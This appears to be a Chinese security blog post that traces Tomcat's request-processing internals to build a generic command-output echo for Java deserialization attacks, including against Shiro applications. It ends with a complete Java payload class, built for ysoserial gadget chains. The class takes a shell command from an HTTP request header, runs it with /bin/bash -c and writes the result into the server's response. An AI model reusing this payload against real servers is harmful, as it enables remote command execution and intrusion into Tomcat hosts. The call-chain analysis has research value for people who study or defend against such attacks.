最近两个月都在写通用的Java漏洞利用框架没怎么跟进最新的技术文章,现在项目终于到了一个较为稳定的阶段终于有时间可以学习一下这两个月中的技术文章了。给我印象比较深刻的是 LandGrey
、 李三
、 kingkk
、 Litch1
、 threedr3am
几位师傅对于Tomcat通用回显方式的总结。最开始我没看几位师傅的文章自己调了一下,找到了 Litch1
、和 李三
师傅的回显思路,本篇主要用于记录个人的调试学习过程。
在寻找解决方案前来思考一下具体的需求是什么,我个人的需求如下:
Shiro
以中间件为依托完成回显功能的优势是:
综上,可以看到我们需要一种在Tomcat Filter处理逻辑之前就将执行结果写入返回包的回显方式。
简单的写一个 servlet
,看一下Tomcat的调用栈。这里我调试的Tomcat版本为 8.5.47
,不同的Tomcat版本处理逻辑相同,但是其中的部分数据结构有所改变。
为了保证类似 Shiro
这里 Filter
应用也可以完成回显,就需要在Tomcat执行该 Filter
之前将执行结果写入 response
中。所以核心的切入点就是跟踪 Http11Processor
的前后处理逻辑,尝试获取本次请求,并将结果写入返回包中。
寻找利用链主要分为两步,获取本次请求、获取返回包。
首先查看 Http11Processor
处的逻辑:
主要是调用对应的适配器,并将 request
和 response
作为参数传入 service()
方法中。通过这一部分代码可以得出两点结论:
request
和 response
对象是在此之前就完成初始化的。 Processor
的执行逻辑是相同的。同时适配器的初始化也是在此前完成的,而适配器的初始化过程中必定存在将本次连接内容保存下来的属性。
向上跟踪一下 request
和 response
对象,发现是在 AbstractProcessor
抽象类的一个属性,且在构造函数中完成初始化:
而 Http11Processor
继承于 AbstractProcessor
,具体的继承树为:
在 Http11Processor
的构造方法中调用了父类的构造方法,完成 request
和 response
对象的初始化:
ok,目前我们已经知道 request
和 response
对象在什么地方完成的初始化,同时也知道了 request
对象中包含 response
对象,也就是说我们后面只需要关心如何获取 request
对象即可。接下来看一下是否有相关的方法可以调用到 request
这个 protected
对象:
在 AbstractProcessor
抽象类中提供了 getRequest()
方法来获取 request
对象,同时在 Request
类中也存在相应的方法获取到 Response
对象:
如果想要将执行结果写入返回包的包体中,调用 Response.doWrite()
方法即可,如果想要写到返回包包头中,调用 Response.setHeader()
方法即可。
总结一下,目前我们找了获取返回包并写入内容的调用链:
Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
在2.1中我们已经完成了回显的后半部分即获取 Response
,并将内容写入的部分,但是如果想要利用这个调用链,我们就必须继续向上跟踪,找到符合本次请求的 Http11Processor
对象。
想要寻找本次请求的 Http11Processor
对象,就需要从 Processor
对象的初始化看起,具体的初始化代码在 ConnectionHandler#process
中:
connnections
对象是 ConnectionHandler
中定义的一个Map,用于存放 socket-processor
对象。在这段代码中可以清楚的看到,首次访问时 connections
中并不存在 processor
,所以会触发 Processor
的初始化流程及注册操作。跟进 register()
方法,查看Tomcat是如何完成 Processor
注册的。
这段代码有个非常有意思的地方,我们可以注意到 register()
方法的关键就是将 RequestInfo
进行注册,但是在注册前会调用 rp.setGlobalProcessor(global);
我们来具体看一下 global
是什么:
可以看到 RequestGroupInfo
类中存在 RequestInfo
的一个列表,在 RequestInfo
的 setGlobalProcessor()
方法中又将 RequestInfo
对象本身注册到 RequestGroupInfo
中:
所以 global
中所保存的内容和后面调用 Registry.registerComponent()
方法相同。也就是说有两种思路获取 Processor
对象:
global
的方法 Registry.registerComponent()
流程,查看具体的 RequestInfo
对象被注册到什么地方了
两种方法对应了 Litch1
和 李三
师傅的两种获取方式。
global
想要获取 global
就需要获取到 AbstractProtocol
, AbstractProtocol
实现了 ProtocolHandler
,也就是说只要能找到获取 ProtocolHandler
实现类的方法就可以调用 AbstractProtocol
的 ConnectionHandler
静态类。依赖树如下:
所以调用链就变成了:
AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
到此为止我们已经找到大半部分的调用链了,那如何找到获取 ProtocolHandler
的方法呢?这需要向下看,看具体调用时是如何触发的。Tomcat使用了 Coyote
框架来封装底层的socket连接数据,在 Coyote
框架中包含了核心类 ProtocolHandler
,主要用于接收 socket
对象,再交给对应协议的 Processor
类,最后由 Processor
类交给实现了 Adapter
接口的容器。
在调用栈中也可以看出这一流程:
这里直接跟进一下 CoyoteAdapter#service
:
这里主要负责将 org.apache.coyote.Request
和 org.apache.coyote.Response
转换为 org.apache.catalina.connector.Request
和 org.apache.catalina.connector.Response
,如果还未注册为notes,则调用 connector
的 createRequest()
和 createResponse()
方法创建对应的 Request
和 Response
对象。
而关键的调用为:
可以简单的理解一下: CoyoteAdapter
通过 connector
对象来完成后续流程的,也就是说在 connector
对象中保存着和本次请求有关的所有信息,较为准确的说法是在Tomcat初始化 StandardService
时,会启动 Container
、 Executor
、 mapperListener
及所有的 Connector
。其中 Executor
负责为 Connector
处理请求提供共用的线程池, mapperListener
负责将请求映射到对应的容器中, Connector
负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在 Connector
对象中,从上面的代码中也可以看出一些端倪。所以直接看一下 Connection
类:
其中有public方法 getProtocolHandler()
可以直接获得 ProtocolHandler
。所以调用链就变成了:
Connector#getProtocolHandler() -> AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
就如上文所说, Connector
是在Tomcat初始化 StandardService
时完成初始化的,初始化的具体代码在 org.apache.catalina.core.StandardService#initInternal
:
而在初始化 StandardService
之前就已经调用 org.apache.catalina.startup.Tomcat#setConnector
完成 Connector
设置了:
所以再次梳理一下调用链:
StandardService -> Connector#getProtocolHandler() -> AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
最终的问题就是如何获得 StandardService
了,这里可以利用打破双亲委派的思路,这一点在我写Java攻击框架时用过,就是利用 Thread.getCurrentThread().getContextClassLoader()
来获取当前线程的 ClassLoader
,从 resources
当中寻找即可。
具体的利用代码这里就不再赘述了,可以直接看 Litch1师傅分享出的代码 。
其实回顾一下2.2.1中所提到的内容,无非是从 Connector
入手拿到 ProtocolHandler
。其实再仔细看一下 Connector
类的依赖树就可以发现其实所有的参数并非是单独存放在这些类中的一个属性中的,而是都被注册到了 MBeanServer
中的:
所以其实更加通用的方式就是直接通过 MBeanServer
来获得这个参数。
我们在2.2中看到了 ConnectionHandler
是用 Registry.getRegistry(null, null).registerComponent(rp,rpName, null);
将 RequestInfo
注册到 MBeanServer
中的,那么我们跟进看一下 Registry
类中有什么方法可以供我们获得 MBeanServer
,只要拿到了 MBeanServer
,就可以从其中拿到被注册的 RequestInfo
对象了。
Registry
类中提供了 getMBeanServer()
方法用于获得(或创建) MBeanServer
。在 JmxMBeanServer
中,其 mbsInterceptor
对象存放着对应的 MBeanServer
实例,这个 mbsInterceptor
对象经过动态调试就是 com.sun.jmx.interceptor.DefaultMBeanServerInterceptor
。在 DefaultMBeanServerInterceptor
存在一个 Repository
属性由于将注册的MBean进行保存,我们这里可以直接使用 com.sun.jmx.mbeanserver.Repository#query
方法来筛选出所有注册名(其实就是具体的每次请求)包含 http-nio-*
(*为具体的tomcat端口号)的 BaseModelMBean
对象:
这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。其中 object.resource.processors
中就保存着请求的 RequestInfo
对象,至此就可以通过 RequestInfo
对象的 req
属性来得到请求的 Response
对象,完成回显。
总结一下调用链:
Registry.getRegistry(null, null).getMBeanServer() -> JmxMBeanServer.mbsInterceptor -> DefaultMBeanServerInterceptor.repository -> Registory#query -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
具体的调用逻辑在2.2.1和2.2.2中都有总结,总体来说就是用反射一点点完成构造,这里我只罗列2.2.2中的方法,因为2.2.2的方法更为通用,可以经测试在Tomcat7、8、9中都可以使用。需要注意有以下几点:
ByteChunk
而非 ByteBuffer
ByteBuffer
最终的利用代码如下:
package com.lucifaer.tomcatEcho; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.coyote.Request; import org.apache.tomcat.util.modeler.Registry; import javax.management.MBeanServer; import javax.management.ObjectName; import java.io.InputStream; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.util.*; /** * @author Lucifaer * @version 4.1 */ public class Tomcat8 extends AbstractTranslet { public Tomcat8() { try { MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(mBeanServer); field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Repository repository = (Repository) field.get(mbsInterceptor); Set<NamedObject> set = repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=/"http*/""), null); Iterator<NamedObject> it = set.iterator(); while (it.hasNext()) { NamedObject namedObject = it.next(); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("name"); field.setAccessible(true); ObjectName flag = (ObjectName) field.get(namedObject); String canonicalName = flag.getCanonicalName(); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); Object obj = field.get(namedObject); field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); Object resource = field.get(obj); field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); field.setAccessible(true); ArrayList processors = (ArrayList) field.get(resource); field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); field.setAccessible(true); for (int i=0; i < processors.size(); i++) { Request request = (Request) field.get(processors.get(i)); String header = request.getHeader("lucifaer"); System.out.println("cmds is:" + header); System.out.println(header == null); if (header != null && !header.equals("")) { String[] cmds = new String[] {"/bin/bash", "-c", header}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("//a"); String out = ""; while (s.hasNext()) { out += s.next(); } byte[] buf = out.getBytes(); if (canonicalName.contains("nio")) { ByteBuffer byteBuffer = ByteBuffer.wrap(buf); // request.getResponse().setHeader("echo", out); request.getResponse().doWrite(byteBuffer); request.getResponse().getBytesWritten(true); } else if (canonicalName.contains("bio")) { //tomcat 7使用需要使用ByteChunk来将byte写入 // ByteChunk byteChunk = new ByteChunk(); // byteChunk.setBytes(buf, 0, buf.length); // request.getResponse().doWrite(byteChunk); // request.getResponse().getBytesWritten(true); } } } } }catch (Throwable throwable) { throwable.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
具体如何将其加入Ysoserial,可以参考
李三
师傅的方式
。
利用效果如下:
测试普通JSP
测试shiro